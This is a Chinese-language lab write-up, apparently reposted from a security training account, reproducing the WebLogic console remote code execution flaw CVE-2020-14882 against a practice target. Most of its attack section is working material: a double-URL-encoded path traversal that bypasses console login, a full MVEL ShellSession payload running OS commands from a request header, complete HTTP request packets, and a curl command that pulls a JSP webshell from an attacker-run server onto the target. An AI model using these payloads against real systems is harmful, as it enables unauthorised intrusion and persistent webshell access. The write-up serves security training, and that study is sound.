Weblogic Console 远程代码执行漏洞复现

admin 2023年5月10日17:53:24评论32 views字数 7011阅读23分22秒阅读模式
                     

学网安渗透

扫码加我吧

免费&进群

Weblogic Console 远程代码执行漏洞复现  
Weblogic Console 远程代码执行漏洞复现

Track安全社区投稿~  

千元稿费!还有保底奖励~

  • 0x01 信息收集

  • 0x02 复现

    • 0#01 权限漏洞绕过

    • 0#02 手工提交利用

  • 0x03 学院靶场复现过程

    • 0#01 信息收集

    • 0#02 贴POC

    • 0#03 获得flag

  • 0x03 总结

  • 0x04 修复建议

    0x01 信息收集

    打开靶场地址,看到404页面不要慌张,先进行信息收集!

    Weblogic Console 远程代码执行漏洞复现

    由于是靶场,就进行目录扫描,就不用进行子域名爆破了~

    利用dirsearch进行爆破:

    python3 dirsearch/dirsearch.py -u "http://172.23.26.66:7001/" -e *

    Weblogic Console 远程代码执行漏洞复现

    先访问200页面发现全是空页面,再尝试访问302重定向后的页面,发现了新天地!

    Weblogic Console 远程代码执行漏洞复现

    发现这是一个WebLogic, 并且有版本号,此时只用百度一下,就发现了该版本存在多个漏洞,最后我将它定位在 CVE-2020-14882

    0x02 复现

    在读完博客中大佬对该漏洞的复现之后,尝试自己进行复现并拿到webshell。

    0#01 权限漏洞绕过

    在最初的这个页面,是需要账号和用户名登录才可以进入后台,但是这里可以进行目录的骚操作来进行直接无密码登录后台。

    1. http://172.23.26.66:7001/console/css/../console.portal

    这条构造的url表示由于 ../在目录中表示返回上一级目录, 即console这个目录,然后访问该目录下的后台文件

    Weblogic Console 远程代码执行漏洞复现

    但是运行结果并不像我们像的那样, 还是被重定向到登陆页面

    这里就需要一些小技巧进行绕过,用burp的url编码功能对../进行编码

    1. http://172.23.26.66:7001/console/images/%2E%2E%2Fconsole.portal

    结果还是被重定向了

    将大写换成小写

    http://172.23.26.66:7001/console/images/%2e%2e%2fconsole.portal无果

    再进行一次url编码

    1. http://172.23.26.66:7001/console/images/%252e%252e%252fconsole.portal

    Weblogic Console 远程代码执行漏洞复现

    成功进入后台!

    0#02 手工提交利用

    此漏洞有多种利用方式,这里先赘述一下利用burp进行getshell

    利用 GET传参 test_handle传入下面POC

    1. test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

    并且传入cmd传参,如下所示,可以进行任意命令执行

    Weblogic Console 远程代码执行漏洞复现

    下面就该写一句话木马并且getshell了

    首先就是找到我们可以访问的目录

    博客上说 http://ip:port/console/images目录下是可以访问的,我们不妨试试

    Weblogic Console 远程代码执行漏洞复现

    进入这个目录里,尝试访问里面的图片

    Weblogic Console 远程代码执行漏洞复现

    尝试用echo命令写入木马

    Weblogic Console 远程代码执行漏洞复现

    成功写入木马,尝试连接会发现这里被weblogic的一些保护机制拦截了,无法访问

    Weblogic Console 远程代码执行漏洞复现

    接着只有找其他可以访问的目录写入木马,但是我尝试了大概2个多小时,没有发现可用目录,直到问了瑶瑶大佬才知道可以通过静态文件的方法快速准确的定位到可以访问的目录。

    Weblogic Console 远程代码执行漏洞复现

    下面是切换到可利用目录下的POC包:

    1. GET /console/images/%252e%252e%252fconsole.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1

    2. Host: 172.23.26.66:7001

    3. Cache-Control: max-age=0

    4. Upgrade-Insecure-Requests: 1

    5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36

    6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

    7. Accept-Encoding: gzip, deflate

    8. cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && ls

    9. Accept-Language: zh,zh-CN;q=0.9

    10. Cookie: ADMINCONSOLESESSION=PG17Me6B3wrPxplUyKb0gzMERhT9gngwklINhVX9j92co34qeEkp!336989877

    11. Connection: close

    很快便锁定了这个目录,并且用同样的代码执行将木马写入,但是这里又遇到了问题,利用echo写入的木马用冰蝎无法获取到密钥,连接失败……

    Weblogic Console 远程代码执行漏洞复现

    又请教了瑶瑶大佬,他教我用curl将木马写入!!!~

    首先你需要一台有公网ip的服务器,并且装有python或者apache等web环境,这里利用的是python的httpserver服务进行文件共享。

    第一步:先将木马文件放在服务器的目录里,并运行cmd命令,由于网上都是Liunx的环境,但条件简陋我利用的是windows server 2012

    Weblogic Console 远程代码执行漏洞复现

    在该目录下运行cmd命令,调用httpserver服务

    1. python -m http.server 5000

    Weblogic Console 远程代码执行漏洞复现

    开启之后要注意检查物理机能否访问该文件夹,若nmap扫描结果为filter,检查一下自己服务器的安全组是否开启了对应的端口

    <img src="https://cdn.nlark.com/yuque/0/2021/png/2540809/1612682565714-fc100e63-0faf-47d5-b101-ceaa76b57f78.png" alt="QQ图片20210207152234.png" style="zoom: 150%;" />

    这里的8000理解为上面对应的5000端口即可,准备就绪,准备上马~

    将burp里的命令改为curl写入:

    1. cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && curl http://ip:5000/shell.jsp > xiaoyi.jsp

    最后尝试冰蝎连接

    Weblogic Console 远程代码执行漏洞复现

    连接成功,拿到webshell!~

    0x03 学院靶场复现过程

    0#01 信息收集

    同样和上文一样使用dirsearch目录扫描,可以定位到302跳转后的网址

    Weblogic Console 远程代码执行漏洞复现

    0#02 贴POC

    通过上述两次url编码绕过后,利用burp抓包,将包改为如下POC:

    1. GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1

    2. Host: weblogic.vdb.aqlab.cn

    3. Cache-Control: max-age=0

    4. Upgrade-Insecure-Requests: 1

    5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36

    6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

    7. Accept-Encoding: gzip, deflate

    8. cmd:pwd&&cd ../../../wlserver/server&&ls

    0#03 获得flag

    Weblogic Console 远程代码执行漏洞复现

    0x03 总结

    通过此次漏洞的复现,学会了准确快速的定位到用户可以访问的目录,学会了利用curl 的方式写入文件,同时学会了利用冰蝎,python多种工具~

    该漏洞还可以利用反弹shell的方式,但我发现我没有linux服务器,不好测试,等啥时候俺有钱了一定把复现步骤补上!~


    0x04 修复建议

    1. 安装官方提供的补丁

    2. 使用新版本的weblogic


    申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

    所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.


    Weblogic Console 远程代码执行漏洞复现

    没看够~?欢迎关注!


    分享本文到朋友圈,可以凭截图找老师领取

    上千教程+工具+交流群+靶场账号

     

    Weblogic Console 远程代码执行漏洞复现

     分享后扫码加我



    回顾往期内容

    Xray挂机刷漏洞

    零基础学黑客,该怎么学?

    网络安全人员必考的几本证书!

    文库|内网神器cs4.0使用说明书

    代码审计 | 这个CNVD证书拿的有点轻松

    【精选】SRC快速入门+上分小秘籍+实战指南

        代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!

    Weblogic Console 远程代码执行漏洞复现

    点赞+在看支持一下吧~感谢看官老爷~ 

    你的点赞是我更新的动力

    原文始发于微信公众号(掌控安全EDU):Weblogic Console 远程代码执行漏洞复现

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年5月10日17:53:24
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     Weblogic Console 远程代码执行漏洞复现http://cn-sec.com/archives/1723949.html

    发表评论

    匿名网友 填写信息